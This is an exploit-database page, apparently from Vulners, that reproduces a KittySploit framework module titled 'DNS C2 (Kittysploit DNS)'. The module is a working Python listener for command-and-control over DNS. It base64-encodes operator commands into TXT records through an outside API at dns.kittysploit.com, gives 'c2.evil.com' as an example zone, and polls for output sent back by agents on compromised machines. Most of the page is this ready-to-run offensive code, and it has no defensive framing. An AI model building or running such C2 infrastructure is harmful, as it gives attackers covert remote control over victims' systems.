Lucene search
+L

DNS C2 (Kittysploit DNS)

🗓️ 29 Jan 2026 18:41:10Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

DNS C2 (Kittysploit DNS) module for sending commands and receiving agent output.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
DNS C2 (Kittysploit DNS) - Uses your Kittysploit DNS server API to send commands and receive agent output.
No UDP listener: commands are pushed via API (TXT record), responses are pulled via API (messages).
See docstring for API contract your Kittysploit DNS server must implement.
"""

from kittysploit import *
import threading
import time
import base64
import requests

class Module(Listener):
    """
    DNS C2 via Kittysploit DNS API.
    Uses your DNS server API (api_url + api_key) to create TXT records (commands) and poll for agent messages.
    
    API contract (Kittysploit DNS server must implement):
    - POST {api_url}/c2/command  Body: { domain, client_id, value }  (value = base64 command). Sets TXT for poll.<client_id>.<domain>.
    - GET  {api_url}/c2/messages?domain=...  Returns { messages: [ { client_id, payload, timestamp? } ] }. Agent output sent by agents (e.g. result.<b64>.<client_id>.<domain>).
    - Auth: Header X-API-Key: {api_key} or Authorization: Bearer {api_key}.
    """

    __info__ = {
        'name': 'DNS C2 (Kittysploit DNS)',
        'description': 'Uses Kittysploit DNS server API to send commands and receive agent output. Create URLs via API, no local UDP.',
        'author': 'KittySploit Team',
        'version': '1.0.0',
        'handler': Handler.REVERSE,
        'session_type': SessionType.DNS,
        'references': [],
        'dependencies': ['requests'],
    }

    api_url = OptString("https://dns.kittysploit.com/api/v1", "Kittysploit DNS API base URL", True)
    api_key = OptString("", "API key for Kittysploit DNS", True)
    domain = OptString("c2.local", "C2 zone/domain (e.g. c2.evil.com)", True)
    poll_interval = OptInteger(5, "Poll interval for agent messages (seconds)", False)

    def __init__(self, framework=None):
        super().__init__(framework)
        self.running = False
        self.poll_thread = None
        self._domain_lower = ""
        self._pending_commands = {}
        self._received_output = {}
        self._client_id_to_session = {}
        self._session_to_client_id = {}
        self._last_poll_ts = 0.0

    def _api_headers(self):
        return {
            "X-API-Key": str(self.api_key).strip() if self.api_key else "",
            "Content-Type": "application/json",
        }

    def _api_set_command(self, client_id: str, value: str) -> bool:
        """Tell Kittysploit DNS to set TXT for poll.<client_id>.<domain> = value (base64 command or 'wait')."""
        base_url = (str(self.api_url).strip() or "").rstrip("/")
        if not base_url or not client_id:
            return False
        url = f"{base_url}/c2/command"
        payload = {
            "domain": self._domain_lower,
            "client_id": client_id,
            "value": value,
        }
        try:
            r = requests.post(url, json=payload, headers=self._api_headers(), timeout=15)
            if r.status_code in (200, 201, 204):
                return True
            return False
        except Exception:
            return False

    def _api_get_messages(self):
        """Fetch agent messages from Kittysploit DNS API. Returns list of { client_id, payload }."""
        base_url = (str(self.api_url).strip() or "").rstrip("/")
        if not base_url:
            return []
        url = f"{base_url}/c2/messages"
        params = {"domain": self._domain_lower}
        try:
            r = requests.get(url, params=params, headers=self._api_headers(), timeout=15)
            if r.status_code != 200:
                return []
            data = r.json() if r.text else {}
            return data.get("messages", []) if isinstance(data, dict) else []
        except Exception:
            return []

    def _ensure_session(self, client_id: str, client_ip: str = "api") -> str:
        """Create session for client_id if not exists. Returns session_id."""
        session_id = self._client_id_to_session.get(client_id)
        if session_id:
            return session_id
        session_id = self._create_dns_session(client_id, client_ip)
        if session_id:
            self._client_id_to_session[client_id] = session_id
            self._session_to_client_id[session_id] = client_id
            self._pending_commands[session_id] = []
            self._received_output[session_id] = []
        return session_id or ""

    def _create_dns_session(self, client_id: str, client_ip: str):
        try:
            session_data = {
                "session_type": "dns",
                "domain": self._domain_lower,
                "client_id": client_id,
                "client_ip": client_ip,
                "protocol": "dns",
                "listener_type": "dns_kittysploit",
                "handler": "reverse",
            }
            return self._create_session("reverse", client_ip or "api", 0, session_data)
        except Exception as e:
            print_error(f"Error creating DNS session: {e}")
            return None

    def _poll_loop(self):
        while self.running:
            try:
                for msg in self._api_get_messages():
                    cid = msg.get("client_id")
                    payload = msg.get("payload", "")
                    if not cid:
                        continue
                    session_id = self._ensure_session(cid, "api")
                    if session_id and payload:
                        self._append_output(session_id, payload)
            except Exception:
                pass
            for _ in range(max(1, int(self.poll_interval))):
                if not self.running:
                    break
                time.sleep(1)

    def run(self, background=False):
        if not str(self.api_key).strip():
            print_error("api_key is required for Kittysploit DNS")
            return False
        self._domain_lower = (str(self.domain).strip() or "c2.local").lower().rstrip(".")
        interval = int(self.poll_interval) if self.poll_interval is not None else 5
        self.poll_interval = max(1, interval)
        self.running = True
        self.poll_thread = threading.Thread(target=self._poll_loop, daemon=True)
        self.poll_thread.start()
        time.sleep(0.5)
        print_success(f"DNS C2 (Kittysploit DNS) started for zone {self._domain_lower}")
        print_info("Commands are sent via API (TXT); agent messages are polled from API.")
        if background:
            return True
        try:
            while self.running:
                time.sleep(0.2)
        except KeyboardInterrupt:
            self.running = False
        return True

    def set_pending_command(self, session_id: str, cmd: str):
        """Send command to Kittysploit DNS API (sets TXT for poll.<client_id>.<domain>)."""
        client_id = self._session_to_client_id.get(session_id)
        if not client_id:
            return
        value = base64.b64encode(cmd.encode("utf-8", errors="replace")).decode("ascii")
        if len(value) > 255:
            value = value[:255]
        self._api_set_command(client_id, value)

    def _append_output(self, session_id: str, text: str):
        if session_id not in self._received_output:
            self._received_output[session_id] = []
        self._received_output[session_id].append(text)
        if len(self._received_output[session_id]) > 500:
            self._received_output[session_id] = self._received_output[session_id][-500:]

    def get_output(self, session_id: str, clear=False) -> str:
        lines = self._received_output.get(session_id, [])
        out = "\n".join(lines)
        if clear:
            self._received_output[session_id] = []
        return out

    def get_output_lines(self, session_id: str, last_n=50) -> list:
        lines = self._received_output.get(session_id, [])
        return lines[-last_n:] if lines else []

    def shutdown(self):
        self.running = False
        if self.poll_thread and self.poll_thread.is_alive():
            self.poll_thread.join(timeout=3)
        print_info("DNS C2 (Kittysploit DNS) stopped")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2026 18:41Current
5.8Medium risk
Vulners AI Score5.8
5